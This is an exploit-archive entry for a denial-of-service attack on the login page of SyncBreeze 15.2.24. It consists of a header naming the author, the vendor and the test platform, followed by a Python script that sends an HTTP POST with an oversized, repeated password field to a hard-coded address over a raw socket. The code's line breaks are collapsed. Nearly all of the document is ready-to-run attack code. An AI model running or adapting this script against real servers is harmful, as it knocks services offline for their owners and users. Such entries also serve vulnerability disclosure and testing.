SyncBreeze 15.2.24 Denial Of Service

# Exploit Title: SyncBreeze 15.2.24 -'login' Denial of Service# Date: 30/08/2023# Exploit Author: mohamed youssef# Vendor Homepage: https://www.syncbreeze.com/# Software Link: https://www.syncbreeze.com/setups/syncbreeze_setup_v15.4.32.exe# Version: 15.2.24# Tested on: windows 10 64-bitimport socketimport timepyload="username=admin&password="+'password='*500+""request=""request+="POST /login HTTP/1.1\r\n"request+="Host: 192.168.217.135\r\n"request+="User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/115.0\r\n"request+="Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8\r\n"request+="Accept-Language: en-US,en;q=0.5\r\n"request+="Accept-Encoding: gzip, deflate\r\n"request+="Content-Type: application/x-www-form-urlencoded\r\n"request+="Content-Length: "+str(len(pyload))+"\r\n"request+="Origin: http://192.168.217.135\r\n"request+="Connection: keep-alive\r\n"request+="Referer: http://192.168.217.135/login\r\n"request+="Upgrade-Insecure-Requests: 1\r\n"request+="\r\n"request+=pyloadprint (request)s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)s.connect(("192.168.217.135",80))s.send(request.encode())print (s.recv(1024))s.close()time.sleep(5)